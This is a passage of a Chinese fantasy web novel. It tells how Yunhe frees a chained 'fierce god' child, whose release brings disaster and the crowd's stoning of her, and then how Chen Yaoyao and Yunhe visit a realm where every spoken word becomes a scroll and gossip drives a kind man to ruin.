云河忽然觉得心里有一块地方,被什么东西狠狠揪了一下。
她转头看向姜老头:“放了他。”
姜老头脸色大变,扑通一声跪在地上,膝盖撞在石头上,磕得生疼也顾不上:“元君不可!这是凶煞之神!杀不尽,毁不灭,当年费了多大的代价才把他压在这里!再过几十年,他就能被彻底瓦解,您不能——”
云河:“他做了什么恶事?”
姜老头愣住了。
云河看着他,一字一句地问:“他杀过人吗?害过人吗?做过什么坏事?”
姜老头张了张嘴,半晌才憋出一句:“他……他以后会做的。他会作乱,会毁灭天地,会让人间变成炼狱……”
云河:“你亲眼见过?”
姜老头急了:“我的预言从未出过差错——”
云河忽然指了指洞外:“你昨天说今天会下雨,但现在外面艳阳高照,万里无云。你也不是百分百准确,不是吗?”
姜老头说不出话来。
云河转过身,看着那孩子。
那孩子也在看她,眼睛里有什么东西在闪。像是很久没见过光了,忽然有光照进来,又怕那光是假的,一眨眼就会消失。
云河说:“我放你出来。但你得跟着我,不能乱跑,不能伤人。行吗?”
那孩子眨了眨眼,像是听懂了。
云河抬起手,按在第一条铁链上。
姜老头在后面喊:“元君!你身上的愿力是万民所供,不能用来做这种事——”
云河不听。
灵力从她掌心涌出,涌入那条铁链。铁链上的符文剧烈闪烁,发出刺眼的光芒,然后——
“啪”的一声,断了。
一条。
两条。
三条。
四条。
那孩子从山底下爬出来,浑身是血,四肢扭曲。他跪在地上,大口大口地喘气,喉咙里的伤口还在往外渗血,滴在地上,洇开一小片暗红。
云河蹲下来,看着他。
那孩子抬起头,看着她。
然后,他忽然笑了。
那笑容很奇怪。像是很久很久没有笑过,已经忘了脸该怎么动,只能勉强扯动嘴角。像是不知道该不该笑,但实在忍不住,就笑了。
云河看得懂——
那是感激。
姜老头站在后面,脸色铁青。
那孩子没有名字。
云河问他叫什么,他只是摇头。问他从哪里来,他也摇头。问他为什么会变成凶煞之神,他还是摇头。
他什么都说不出来。
姜老头说,他叫松天香。
“松天香?”云河皱眉,“这名字……”
姜老头面无表情:“压他的时候取的。凶煞之神,留香百日,所以叫天香。”
云河看了看那孩子。
他蹲在角落里,浑身脏兮兮的,头发乱成一团,结成硬块,身上还有没干的污血。
怎么看都跟“香”没关系。
但她还是叫了。
“松天香。”
那孩子抬起头,看着她。
云河指了指自己:“云河。”
那孩子眨了眨眼,像是在记,像是在刻,像是在把这个名字刻进骨头里。
从那天起,他就跟着她了。
他走路很慢,四肢被锁了太久,早就变形了。每走一步,骨头都在响。但他不吭声,只是默默地跟在后面,像一条影子。
云河走快了,他就努力加快脚步,踉踉跄跄的,几次差点摔倒。
云河走慢了,他就安安静静地跟着,不吵不闹,不发出一点声音。
晚上休息,云河坐在火堆边,他就坐在远处,缩在阴影里,不敢靠近。云河叫他过来,他才小心翼翼地挪过来,坐在她旁边,但保持着一段距离,像是怕自己会弄脏什么。
云河问:“你冷吗?”
他摇头。
云河问:“你饿吗?”
他摇头。
云河问:“你怕我吗?”
他愣了一下,然后点头。
云河笑了:“怕我干什么?我又不吃人。”
那孩子看着她,眼睛里有什么东西在变化。像是冰裂开一条缝,露出底下一点点的暖。
从那以后,他开始靠近一点了。
姜老头从始至终没给过他好脸色。
每次看见他,姜老头的脸就拉得老长,像谁欠了他八百吊钱。他从不叫他的名字,只叫“那个东西”。他从不让他靠近云河,每次看见他离云河太近,就冲过来把他赶开,像赶一条野狗。
“离元君远点!”
那孩子就乖乖地退后,退到远处,蹲下来,看着云河。那眼神让人心里发酸——像是一只被踢过太多次的狗,已经学会了离人远一点,但还是忍不住想靠近。
云河说:“你别老赶他。”
姜老头:“元君,他是凶煞!您不能——”
云河:“他没害过人。”
姜老头:“他迟早会的!”
云河不想跟他吵。
她看得出来,那孩子不会害人。
他看见受伤的小动物会停下脚步,呆呆地看半天,然后蹲下来,用脏兮兮的手指轻轻碰一碰。他看见有人吵架会躲起来,缩在角落里不敢出声,等吵完了才敢探出头。他看见云河笑,也会跟着笑,虽然笑得很难看,但很努力。
有一次,他们路过一个村子,有个小孩摔倒了,哇哇大哭。
那孩子愣愣地看着,忽然走过去,蹲在那小孩面前。
小孩吓哭了,哭得更厉害,蹬着腿往后退。
那孩子手足无措,回头看向云河,眼神里全是慌张——像是在说,我不是故意的,我不知道该怎么办,你帮帮我。
云河走过去,把小孩抱起来,轻轻拍了拍,哄了哄。
小孩不哭了,趴在她肩头抽噎。
那孩子站在旁边,看着,眼睛里有一种很奇怪的东西。
后来云河才知道,那叫羡慕。
一路走,一路看。
他们走了三个月,从西北走到中原,从黄沙漫天走到青山绿水。那孩子一直跟着,不声不响,不惹事不闯祸,像一条安静的影子。
有时候云河会忘了他的存在。
但每次回头,他都在。
姜老头一直在想办法。
云河知道。
她看见他半夜起来,偷偷往那孩子喝的水里撒白色的粉末。她看见他趁那孩子睡觉,用匕首在他身边画符,画完又赶紧抹掉。她看见他好几次想把那孩子推进悬崖,但那孩子命大,每次都踉踉跄跄地躲开了。
云河一直忍着。
直到那天。
他们在树林里休息。云河去打水,回来的时候,看见那孩子躺在地上,浑身抽搐,嘴里吐着白沫,眼睛翻白,手脚乱蹬。
一条青花小蛇正从他身边游走,慢悠悠的,像是在炫耀。
姜老头站在旁边,面无表情,眼睛里有一丝得意。
云河冲过去,抱起那孩子。
他脸色发青,嘴唇发紫,眼睛已经开始涣散。毒。
云河抬头看着姜老头,声音发抖:“你干的?”
姜老头跪下,膝盖砸在地上,声音很响:“元君,他是凶煞,留不得。”
云河:“我说过,他没害过人!”
姜老头:“他以后会的!”
云河不再说话。她低下头,看着那孩子的伤口——手腕上两个细细的牙印,正在往外渗黑血,一滴一滴,落在地上。
她俯下身,把嘴凑上去。
姜老头脸色大变,扑过来想拉她:“元君不可!您身上的愿力——”
云河一把推开他。
她一口一口地吸,把毒血吸出来,吐掉,再吸,再吐。每吸一口,她身上的光芒就暗淡一分。那是万民供奉的愿力,是她十三年积攒的灵力,是她的命,正在随着毒血一起流失。
那孩子在她怀里,慢慢睁开眼睛。
他看着云河,看着她苍白的脸,看着她嘴角的黑血,看着她的嘴唇一下一下地吮在自己的伤口上。
他的眼睛变了。
有什么东西在里面裂开。
云河没注意到。
她只是继续吸,直到吸出来的血变成鲜红色,才停下来。她擦了擦嘴角,低头看着那孩子,笑了。
那笑容和平时不太一样,带着点疲惫,带着点如释重负,带着点“还好赶上了”的后怕。
“没事了。”她说。
那孩子看着她,一动不动。
他的眼睛里,有什么东西碎了。
姜老头站在旁边,脸色铁青。
他没想到云河会这样做。
他没想到,堂堂元君,天之骄子,会为了一个凶煞,毁了自己的愿力。
那天夜里,云河睡得很沉。
她太累了。
灵力耗尽,她像普通人一样需要休息,需要睡觉,需要做那些她十三年都没做过的梦。
那孩子坐在她旁边,守着她。
月光从帐篷的缝隙里漏进来,照在云河脸上。她睡着的样子很安静,眉头微微皱着,不知道在做什么梦。
那孩子看了她很久很久。
姜老头也睡在不远处,打呼噜,一声接一声。
半夜,那孩子站起来。
他看着姜老头,看了很久很久。
然后他走过去。
姜老头惊醒,张嘴想喊,但没来得及。
那孩子的手掐住了他的脖子。
姜老头拼命挣扎,拼命踢打,指甲在那孩子手上挠出一道道血痕。但那孩子的手像铁钳一样,纹丝不动。
“你……你……”姜老头瞪大眼睛,眼珠都要凸出来。
那孩子看着他,眼睛里没有恨,没有怒,只有一种很奇怪的东西——
像是在问:你为什么要逼我?
姜老头的手慢慢垂下去。
那孩子放开他,转身走向云河的帐篷。
他站在帐篷门口,看着里面熟睡的云河。
月光照在她脸上,安静得像一幅画。她的眉头还是皱着,不知道在做什么梦。嘴角还有一点没擦干净的血迹。
他抬起手,想摸摸她的脸。
但手停在半空,没有落下。
他看了她最后一眼。
然后转身,走向远处的祭坛。
那里供奉着人间境的圣物——一块巨大的灵石,镇压着无数厄兽。那些厄兽是人心里的恶念,贪婪、嫉妒、仇恨、恐惧,都被封在灵石下面,不见天日。
他抬起手,按在灵石上。
灵石剧烈震颤,发出刺眼的光芒,然后——
“轰”的一声,碎了。
无数黑影从地下涌出,尖叫着,嘶吼着,冲向四面八方。它们太饿了,饿了几百年,几千年,终于自由了。
那孩子站在原地,看着那些黑影消散在夜色里,不知道在想什么。
他最后回头看了一眼云河的帐篷。
很远,很小,什么都看不清。
但他还是看了很久。
然后,他消失在黑暗中。
云河醒来的时候,天已经亮了。
她走出帐篷,看见姜老头的尸体,愣住了。
她看见远处的祭坛,碎了,愣住了。
她听见远处传来的哭喊声,愣住了。
“救命啊——!”
“救救我们——!”
“元君救命——!”
云河站在晨曦里,浑身冰凉。
她忽然想起姜老头说的话。
“他以后会作乱的。届时天地毁灭,人间炼狱。”
她不信。
她以为他会变好。
她以为只要她看着,就不会出事。
她以为……
“元君救命啊!
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云河回过神,冲向声音传来的方向。
一路上,她看见无数人在逃命,在哭喊,在被那些黑影追赶。那些黑影是厄兽——贪婪的扑向粮仓,嫉妒的撕咬夫妻,仇恨的钻进军营,恐惧的钻进孩子的梦里。
惨叫声四起,到处都是血。
云河冲进人群,想要挡住那些黑影。
但她没有灵力了。
她只是一个十三岁的女孩,瘦弱,无力,什么都做不了。
黑影从她身边掠过,扑向那些逃跑的人。一个,两个,三个……她伸手去抓,抓了个空。她追上去,追不上。
惨叫声此起彼伏。
云河站在血泊里,浑身发抖。
她忽然明白了一件事——
是她亲手放出了那个孩子。
是她亲手毁掉了镇压他的封印。
是她亲手把这一切带给了人间。
“仙姑救命啊!”
一个老人扑倒在她面前,浑身是血,伸手抓她的衣角。他的手很瘦,皮包骨头,指甲里全是泥。
云河低头看着他,说不出话来。
老人眼睛里的光,一点一点熄灭。
手从她衣角上滑落。
云河站在原地,一动不动。
风吹过,带着血腥味,带着焦糊味,带着什么东西烧焦的味道。
远处,哭声还在继续。
云河忽然蹲下来,抱着膝盖,把脸埋进去。
“元君——!”
第一声呼喊响起时,云河还蹲在那里。
“元君救命——!”
第二声更近了。她抬起头,看见一群人朝她涌来。他们浑身是血,脸上带着抓挠的伤痕,眼睛里全是惊恐。
“元君!元君救救我们!”
他们跪在她面前,像往常一样跪拜,像往常一样呼喊她的名字。膝盖砸在地上,溅起一片泥泞的血水。
云河张了张嘴,想说什么。
但她说不出来。
她只是看着那些人,看着他们脸上的期待,看着他们眼睛里的光。
那光太亮了。
亮得她不敢看。
“元君,那些东西到处吃人,您快施法收了它们啊!”
“元君,我儿子被咬伤了,您救救他!”
“元君,求您了!”
云河低下头,声音很轻:“我……我没有灵力了。”
人群静了一瞬。
然后有人笑了,那笑声尖利刺耳:“什么叫没有灵力了?您可是元君啊!”
云河不说话了。
她只是低着头,看着自己的手。那双手曾经能唤醒龙神,能震慑十万铁骑,能挣断四条锁链。现在只是发抖。
“您是在开玩笑吧?”有人凑过来,盯着她的脸,“元君,您别吓我们,快施法啊!”
云河摇头。
人群开始骚动。
“她说什么?没有灵力了?”
“怎么可能!她可是元君!”
“元君怎么可能没有灵力?”
议论声越来越大,像潮水一样涌过来。云河听着那些声音,头埋得更低了。
忽然有人喊:“她身边那个是谁?”
云河心头一颤。
她抬起头,顺着那人的目光看去——
松天香站在人群边缘。
他不知道什么时候跟上来的,浑身脏兮兮的,喉咙上的伤口还在渗血。他站在那里,看着云河,眼睛里全是慌张——像是在说,我不是故意跟来的,我只是担心你。
人群静了一瞬。
然后有人尖叫起来:“是凶煞!是那个被镇压在西山的凶煞!”
“什么?不可能!他被锁着的!”
“你看他脖子上的伤口!那是斩喉锁留下的!我见过记载!”
“真的是他!他怎么出来了?!”
人群炸了。
恐惧像瘟疫一样蔓延,有人后退,有人尖叫,有人抓起石头朝那孩子砸过去。
“滚开!滚远点!”
石头砸在那孩子身上,砸出一道道血痕。他不躲,也不跑,只是站在那里,看着云河。
云河站起来,挡在他面前。
人群愣住了。
“元君,您做什么?”
云河说:“他是我放出来的。”
人群彻底安静了。
那种安静比尖叫更可怕。无数双眼睛看着她,那些眼睛里有什么东西在变化——从期待变成困惑,从困惑变成震惊,从震惊变成……
愤怒。
“您放出来的?”
“您把凶煞放出来害我们?”
“您知道那东西杀了多少人吗?!”
云河:“他没有杀人。”
“没有杀人?那些黑影是从哪儿来的?!祭坛都碎了!您当我们是瞎子吗?!”
云河张了张嘴,想解释,想说是那些厄兽,想说是人心里的恶念,想说不是他放的,是他打碎了灵石——
但她说不出来。
因为是他放的。
是她把他放出来的。
是她。
人群围上来,越围越近,那些脸扭曲成一片。
“我们供养您!将您视若神明!”
“您吃的穿的用的,哪一样不是我们供奉的?!”
“您凭什么!凭什么把凶煞放出来害我们!”
云河站在那里,听着那些声音。
她想起小时候,那些人跪在她面前,喊她“元君”,喊她“神使”,眼里全是敬畏。现在那些眼睛还在,但里面的东西变了——变成了怨毒,变成了恨。
“她圈养凶煞!她不配做我们的元君!”
有人喊出这一句。
然后更多的人开始喊。
“不配!”
“不配!”
“她不配!”
声音越来越大,像潮水一样淹过来。
云河站在原地,一动不动。
忽然一块石头砸在她脸上,砸出一道血痕。
她没躲。
又一块石头砸过来,砸在她肩上。
她还是没有躲。
那孩子忽然冲上来,挡在她面前。
石头砸在他身上,砸得他踉跄了一下。他不吭声,只是死死地挡着,用他那个扭曲的身体,用他那双变形的手。
人群愣了一下,然后更疯了。
“你看!那凶煞护着她!”
“她果然和凶煞一伙的!”
“打死他们!打死他们!”
石头雨点般砸过来。
云河伸手,把那孩子拉进怀里,用自己的后背挡住那些石头。
一块石头砸在她后脑勺上,眼前一阵发黑。
她抱着那孩子,一动不动。
那孩子在她怀里挣扎,想把她推开,想自己挡住那些石头。但云河抱着他不放。
很久很久。
久到那些石头终于停了。
人群累了,骂累了,渐渐散去。
最后只剩下他们两个人。
云河跪在地上,浑身是血,怀里抱着那孩子。
那孩子抬起头,看着她。
他的眼睛里,有什么东西在翻涌。
云河看着他,忽然笑了。
那笑容很轻,很淡,像以前一样。
“没事。”她说。
那孩子看着她,一动不动。
然后他站起来,转身,一步一步往远处走。
云河叫住他:“你去哪儿?”
他停下,没有回头。
云河看着他的背影,忽然问:“你想要什么?”
那孩子站在那里,很久很久。
然后他抬起手,指了指远方。
那个方向,是西北。
是他被压了很多年的那座山。
云河不明白。
但他没有解释。
他只是继续往前走,一步一步,走进那片血色的黄昏里。
云河看着他的背影消失,忽然觉得有什么东西从心里流走了。
从那以后,她再没有回去过人间境。
她开始用白骨伞穿梭万境,听那些需要帮助的人的声音。
她不再是元君,不再是天之骄子。
她只是一个撑伞的人。
很多年后,有人问起她的过去。
她只是说:“我做错了一件事。”
问什么事。
她不答。
只是望着远方,望着那些永远到不了的地方。
风吹过她的衣角,吹过那把白骨伞,吹过那些年少的、回不去的时光。
人间境从来没有冬天。
但在她心里,有一场雪,下了很多年。
13. 因果境
白骨伞落地时,陈瑶瑶已经做好了准备——双手护住发财,膝盖微屈,眼睛紧闭。
但这次落地,没有那种熟悉的失重感。
像是踩在棉花上,软绵绵的,轻飘飘的,半天落不到实处。
陈瑶瑶睁开眼,愣住了。
她们站在一片灰蒙蒙的空间里,四周什么都没有,只有脚下一条看不见的路,和头顶无数漂浮的……布条?
那些布条像晾晒的衣裳一样挂在天上,密密麻麻,一眼望不到头。有的雪白簇新,有的泛黄陈旧,有的边缘已经开始朽烂。每一根布条上都写着字,字迹不同,颜色不同,有的在微微发光,有的已经暗淡如灰烬。
陈瑶瑶仰头看着,喃喃道:“这是什么?”
云河收伞,眉头微蹙:“章轴。”
陈瑶瑶:“章轴?”
云河:“记录言语的东西。在这个境里,所有人说过的每一句话,都会写在章轴上。出口成章,落笔无悔。”
陈瑶瑶倒吸一口凉气。
她凑近一根最近的章轴,上面写着——
“今天天气不错,适合晒被子。”
落款是一个叫“张三”的人,字迹歪歪扭扭,像是随手涂鸦。
她又看另一根——
“李四家的媳妇偷人,我亲眼看见的!”
落款“王五”,那几个字写得格外用力,墨迹透过了布面,像是要把这句话刻进骨头里。
再一根——
“听说了吗?赵六欠赌债跑路了!”
落款“匿名”,字迹潦草得几乎认不出来,像是写完就后悔了,想抹掉又抹不掉。
陈瑶瑶皱眉:“这都是些什么乱七八糟的?”
发财从她怀里探出脑袋,好奇地伸出爪子,想抓一根飘过的章轴。那章轴像是有生命一样,轻轻一闪,躲开了。
发财扑了个空,不满地“汪”了一声。
云河环顾四周,目光落在远处隐约可见的建筑轮廓上:“走吧,前面有城镇。”
她们沿着那条看不见的路往前走。路两边不断有章轴飘过,有的落在脚边,有的擦着肩膀飞过,有的贴着耳边呼啸而去,带着细微的呼啸声。陈瑶瑶一边走一边看,越看越心惊——
“孙七偷了我家的鸡!”
“周八是个骗子!骗了我三吊钱!”
“吴九家的女儿不检点!我亲眼看见她和男人说话!”
每一根章轴上都写着别人的是非,每一句话都带着刺,每一根都在空中飘荡,像永远不会消散的幽灵。
陈瑶瑶忍不住问:“这些人……就这么随便说话?不用负责的吗?”
云河没回答。
只是抬手指了指前方。
陈瑶瑶顺着看去——城门口立着一块巨大的石碑,石碑上刻着几行字,字迹深刻,像是用刀一笔一笔剜出来的:
言语即因果。
出口即成章。
章轴不灭,因果不息。
慎言。慎言。慎言。
陈瑶瑶盯着那三个“慎言”,心里忽然有些发毛。
城里比城外更热闹。
街上人来人往,每个人身后都飘着几根章轴——有的多,有的少,有的亮,有的暗。那些章轴像尾巴一样跟着他们,飘在脑后,甩也甩不掉,走起路来哗啦啦响。
陈瑶瑶好奇地盯着一个路人看。那人身后飘着七八根章轴,密密麻麻摞在一起,上面全是字。她凑近想看清写的什么,那人猛地回头,瞪她一眼,章轴“嗖”地缩到身后去了,像是受惊的鸟收拢翅膀。
陈瑶瑶讪讪地缩回脖子。
发财倒是不怕生,颠颠地跑到一个卖糖人的小摊前,仰头看着摊主身后飘的章轴。那摊主是个胖乎乎的中年男人,面团似的脸上带着笑,身后只有两根章轴,一根写着“糖人好吃”,一根写着“价格公道”,干干净净的,在阳光下微微发光。
摊主低头看见发财,眼睛一亮:“哟,这狗真俊!哪儿来的?”
发财“汪”了一声,尾巴摇成螺旋桨。
摊主乐了,弯腰想摸它,忽然看见陈瑶瑶和云河走过来,脸上的笑容僵了一瞬。
他上下打量她们,目光在她们空荡荡的身后扫了一圈,脸色变了变:“你们……没有章轴?”
陈瑶瑶一愣:“啊?我们刚来……”
摊主像见了鬼一样往后退了两步,手里的糖人都掉了:“没有章轴!她们没有章轴!”
街上的人纷纷停下脚步,朝她们看过来。
那些目光里有好奇,有戒备,还有一丝……恐惧?像是看见了什么不该存在的东西。
陈瑶瑶被看得浑身不自在,小声问云河:“怎么了?”
云河没说话,只是静静看着那些人。
一个老头拄着拐杖走过来,眯着眼睛打量她们:“外来的?”
陈瑶瑶点头。
老头“哦”了一声,转身对人群摆摆手:“散了散了,外来的,没章轴正常。”
人群渐渐散去,但仍有不少人边走边回头,窃窃私语,那些章轴在他们身后窸窸窣窣地响,像是在交换什么秘密。
老头转向陈瑶瑶,笑了笑,露出一口黄牙:“姑娘,别介意,咱们这儿的人,看惯了有章轴的,冷不丁看见没有的,吓一跳。”
陈瑶瑶忍不住问:“为什么害怕没有章轴的?”
老头叹了口气,指着城门口那块石碑:“姑娘,你知道那三个‘慎言’是什么意思吗?”
陈瑶瑶摇头。
老头说:“意思是,在这儿,你说过的每一句话,都会变成一根章轴,跟着你一辈子。章轴越多,你的因果就越重,活着就越累。但反过来,如果没有章轴……”
他顿了顿,压低了声音,像是在说什么见不得人的事:“那说明你从来没说过话,或者你说的每一句话,都没人在意。”
陈瑶瑶愣住了。
老头苦笑:“在这儿,没人说话的人,等于不存在。没有人愿意跟不存在的人打交道——因为你不存在,你的因果就不沾身,但你做的事,沾上的因果,全得别人担着。谁摊上谁倒霉。”
陈瑶瑶听得云里雾里,但隐约觉得这不是什么好事。
老头说完,拄着拐杖走了,身后稀稀拉拉飘着三四根章轴,都是些“老不死的”“怎么还不死”之类的话。
陈瑶瑶看着他的背影,忽然觉得有些心酸。
她看向云河,云河只是看着那些飘动的章轴,若有所思。
她们找了家客栈住下。
客栈老板娘是个四十来岁的妇人,圆脸盘,笑起来眼睛弯成两道缝,看着和善。但她身后飘着的章轴,密密麻麻,多得数不清,像一面披风拖在身后,走路的时候哗啦啦响成一片。
陈瑶瑶忍不住多看了几眼。
老板娘察觉到了,回头笑了笑,那笑容里有些无奈:“姑娘别看了,都是些闲言碎语。在这儿活久了,谁身后不挂个百八十根?跟穿衣裳似的,穿久了就习惯了。”
陈瑶瑶:“这么多?都说了什么?”
老板娘摆摆手:“能有什么?无非是些‘她男人死了是她克的’‘她家孩子不是亲生的’‘她偷过东家的银子’‘她开黑店谋财害命’——全是瞎扯。我男人是病死的,孩子是我从娘家抱养的,银子是东家欠我的工钱,开店这么多年从没坑过谁。”
陈瑶瑶:“那您不生气?”
老板娘笑了,那笑容里有一种看透世事的豁达:“生气?气不过来。这儿的人就靠说话活着,你不让他们说,他们就得憋死。再说了——”她指了指身后的章轴,“你越生气,这些话就越跟着你,缠得越紧。你不理它,它慢慢就淡了,最后就没了。跟狗似的,你越跑它越追,你站住不动,它反倒没趣了。”
陈瑶瑶若有所思。
夜里,陈瑶瑶睡不着,抱着发财坐在窗前发呆。
月光透过窗棂洒进来,照在院子里那些飘动的章轴上,像无数条银色的鱼在夜空中游动,静谧又诡异。
忽然,她听见一阵争吵声。
循声望去,院墙外的小巷里,几个人围成一圈,正在对中间一个人指指点点。他们身后的章轴剧烈抖动,发出刺耳的摩擦声,像无数张嘴在同时尖叫。
中间那人蜷缩在地上,双手抱头,浑身发抖,像一只被围猎的困兽。
有人在喊:“何是非!你还敢出来!”
“救了只猫妖,还好意思在街上走!”
“脏东西!滚出这儿!”
“沾上他的因果!离他远点!”
陈瑶瑶心头一跳,抱起发财就往外跑。
云河不知什么时候出现在她身后,拉住她:“别去。”
陈瑶瑶:“可是……”
云河:“听着。”
陈瑶瑶忍住冲动,趴在墙头往下看。
那些人骂够了,骂累了,渐渐散了,只剩下中间那人蜷在地上,一动不动,像一堆被人丢弃的破布。
很久很久,久到陈瑶瑶以为他不会起来了,他才慢慢爬起来。
月光照在他脸上——一张很普通的男人的脸,三十来岁,眉眼温和,此刻全是泪痕,被月光照得发亮。
他扶着墙,一步一步往前走,像是每一步都用尽了全身的力气。
陈瑶瑶看着他消失在巷子深处,心里像被什么东西堵住了,闷得发慌。
她问云河:“他救了猫妖……为什么会被骂?”
云河沉默了一会儿,才开口:“因为在这个境里,救人要担因果。救了不该救的人,就要承担别人的因果。别人不敢救的,你救了,你就是自找麻烦。”
陈瑶瑶:“可他救的是命啊!”
云河看着她,目光里有一丝说不清的东西,像是看见了很久以前的自己:“有时候,救一条命,比杀一个人更难。”
陈瑶瑶愣住了。
第二天,陈瑶瑶打听清楚了何是非的事。
他原本是个普通的货郎,走街串巷卖杂货,日子过得清贫但安稳。三个月前,他在城外捡到一只受伤的猫——那猫浑身是血,奄奄一息,一条腿断了,眼睛都快睁不开了。他心软,脱下衣裳包起来,带回家治好了。
猫养好了伤,化成人形——竟是个美貌的少女,眉眼弯弯,声音细细,是只猫妖。
何是非没有赶她走,让她留了下来。
起初没什么,但渐渐地,流言蜚语开始滋生。
有人说他贪图猫妖美色,有人说他和妖物苟且,有人说他坏了人伦纲常,有人说他早晚被妖物害死。那些话越传越难听,越传越离谱,最后演变成——
“何是非和猫妖生了孽种!”
“何是非是妖怪的同谋,要害全城的人!”
“何是非该死!不死我们都要倒霉!”
那些话写在章轴上,满天飘。何是非走到哪儿,那些章轴就跟到哪儿,像无数根手指,指着他的脊梁骨,像无数张嘴,贴着他的耳朵骂。
他解释过,没人听。
他求饶过,没人理。
他躲起来,那些章轴就堵在他家门口,日夜不息地飘,像一群饿极了的秃鹫。
七天前,猫妖少女跳井自尽了。
死前留下一句话:“是我害了他。”
何是非抱着她的尸体,跪在井边,哭了一夜。第二天被人发现的时候,他还跪在那里,抱着那具已经僵硬的尸体,像一尊石像。
从那以后,他成了众矢之的。
“救了妖,害了人,这就是因果报应!”
“他要是不救那猫妖,人家能死吗?”
“都是他害的!他害死了她!”
陈瑶瑶听完了,气得浑身发抖,手里的茶碗都在响。
她冲进人群,找到那几个说得最凶的人,质问他们:“你们凭什么这么说他?他救了条命,有什么错?”
那几个人先是一愣,然后笑了。
笑得阴阳怪气,笑得让人起鸡皮疙瘩,笑得像在看一个傻子。
一个尖嘴猴腮的男人开口,声音又尖又细:“姑娘,你这话说的,我们可没说他错啊。”
陈瑶瑶:“那你们天天骂他?”
男人:“骂?我们那是好心提醒。提醒他别跟妖物走太近,容易出事。他非不听,怪谁?”
旁边一个妇人帮腔,胖脸上堆着笑:“就是就是,我们也是为了他好。谁知道那猫妖会自杀?她自杀是她自己想不开,跟我们有啥关系?”
陈瑶瑶气结:“你们那些话……”
妇人打断她,声音提高了一度:“话?什么话?我们就是随口说说,随便聊聊,茶余饭后解解闷。他自己信了,怪我们?他要是心志坚定,能被人随便几句话就逼死?那他死了也是活该。”
陈瑶瑶脑子一片空白。
男人又开口,笑容更甚,眼睛眯成两条缝:“姑娘,你还年轻,不懂这儿的规矩。一个巴掌拍不响,当初所有人都远离那只猫妖,怎么只有他巴巴地上赶着去救?这不是他自找的吗?”
妇人点头:“对啊,他自找的。我们可没让他救。他自己乐意,自己担着呗。”
旁边一个老者悠悠地开口,声音沙哑得像风吹枯叶:“能活到现在的,都不是好人。聪明人精着呢,没人会去趟因果。那些恶果,全让蠢笨的好人应了。要不怎么延续今天的人群?好人都死光了,剩下的自然都是精的。”
男人接口,得意洋洋:“这就是优胜劣汰,自然法则,无人能撼动。那何是非,就是被淘汰的那个。”
陈瑶瑶说不出话来。
她看着那些人脸上的笑容,那些笑容里没有恶意,没有愤怒,只有一种理所当然的坦然——他们真的觉得自己没错。
发财在她怀里,竖起耳朵,喉咙里发出低低的咆哮,像是随时要冲出去咬人。
陈瑶瑶抱紧它,转身离开。
她怕自己再待下去,会忍不住动手。
陈瑶瑶找到何是非的时候,他正蹲在城外的河边发呆。
河水很清,倒映着他的脸——憔悴,空洞,像一具行尸走肉,又像一尊风化的石像。他就那么蹲着,一动不动,像在等河水把他冲走。
陈瑶瑶走过去,在他身边坐下。
何是非没有抬头,只是轻声说:“你是来看我笑话的吗?”
陈瑶瑶摇头:“你后悔吗?”
何是非愣了一下。
他抬起头,看着陈瑶瑶,眼睛里有一丝迷茫,像是很久没人问过他这个问题了。
陈瑶瑶:“后悔救她吗?”
何是非沉默了很久。
久到陈瑶瑶以为他不会回答了,他才开口,声音沙哑:“不后悔。”
陈瑶瑶:“可是她死了。”
何是非:“是我害死的。”
陈瑶瑶:“不是你。”
何是非看着她,忽然问:“你知道她叫什么名字吗?”
陈瑶瑶摇头。
何是非说:“她叫阿萝。她说她娘给她取这个名字,是因为她出生的时候,窗外的萝花开得正好,满院子都是香的。她不想当妖,她只想当个普通人,种点萝花,养几只鸡,嫁个老实人,平平淡淡过一辈子。”
他的眼泪掉下来,落在河面上,溅起小小的涟漪:“她跟我说这些的时候,眼睛亮亮的,比天上的星星还亮。我说,那就留下来,我养你。她说,你不怕别人说闲话?我说,嘴长在别人身上,管他们说什么。”
陈瑶瑶心里一酸。
何是非低下头,声音哽咽:“我错了。我不该管他们说闲话,我应该管的。我要是早点把她送走,让她去个没人认识的地方,她就不会……”
陈瑶瑶伸手,轻轻拍了拍他的背。
何是非哭了很久,哭得像一个孩子。
哭完了,他擦了擦脸,站起来,像是卸下了什么重担。
陈瑶瑶问:“你去哪儿?”
何是非说:“不知道。走到哪儿算哪儿吧。也许去找个没人认识的地方,种点萝花。”
他转身,往远处走去。
陈瑶瑶看着他的背影,忽然喊住他:“何是非!”
他回头。
陈瑶瑶认真地说:“你没有错。”
何是非愣了一下,然后笑了。
那笑容和刚才不一样,带着一点光,一点暖。
他说:“谢谢你。”
然后继续往前走,消失在暮色里。
陈瑶瑶站在原地,看着他的背影消失,忽然觉得心里有什么东西放下了。
陈瑶瑶回到客栈,云河正坐在窗前喝茶。
发财趴在桌上,看见陈瑶瑶回来,摇了摇尾巴,跳进她怀里。
陈瑶瑶坐下,把刚才的事说了一遍。
说完,她问云河:“那些人……他们说的那些话,真的没有错吗?”
云河放下茶杯,看着她。
陈瑶瑶:“他们说‘一个巴掌拍不响’,说‘他自找的’,说‘优胜劣汰’。我听着好像有道理,但又觉得不对,像吃了个苍蝇似的,吐不出来咽不下去。”
云河沉默了一会儿,开口:“你知道我为什么离开人间境吗?”
陈瑶瑶摇头。
云河说:“因为我放了一个人。那个人后来做了错事,死了很多人。那些人跪在我面前,求我救他们,我救不了。然后他们用石头砸我,骂我,说我不配当元君,说我是灾星,说我是妖怪的同谋。”
陈瑶瑶愣住了。
云河看着她,目光平静得像一潭深水,深不见底:“他们说的那些话,和你刚才听到的,是一样的。”
陈瑶瑶心里一震。
云河继续说:“‘你凭什么不救我们?’‘你圈养凶煞,你不配!’‘这是你自找的!’——每一句,我都听过。”
陈瑶瑶张了张嘴,想说什么,又说不出来。
云河:“那些话有没有道理?有。站在他们的角度,我确实害了他们。他们死了亲人,受了苦,需要一个
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发泄的地方,我就是那个靶子。但站在我的角度,我只是想救一个人。”
她顿了顿,轻声说:“这世上,最难的事,就是让所有人都满意。你救了一个人,就会得罪另一个人。你帮了一边,就会伤害另一边。你永远不可能让所有人都说你没错。”
陈瑶瑶沉默了很久。
发财在她怀里拱了拱,发出轻轻的呜咽。
陈瑶瑶低头看着发财,忽然问:“那后来呢?那些骂你的人,后来怎么样了?”
云河说:“不知道。我走了,再也没回去。也许他们活得好好的,也许他们也死了。跟我没关系了。”
陈瑶瑶:“你恨他们吗?”
云河看着窗外的月光,很久很久,才说:“不恨。他们也只是想活。人活在这世上,谁不想好好活着?谁不想找个出口?恨他们,就是恨我自己。”
陈瑶瑶听懂了。
她抬起头,看着云河,认真地说:“我好像明白了一点。”
云河没说话,只是微微点了点头。
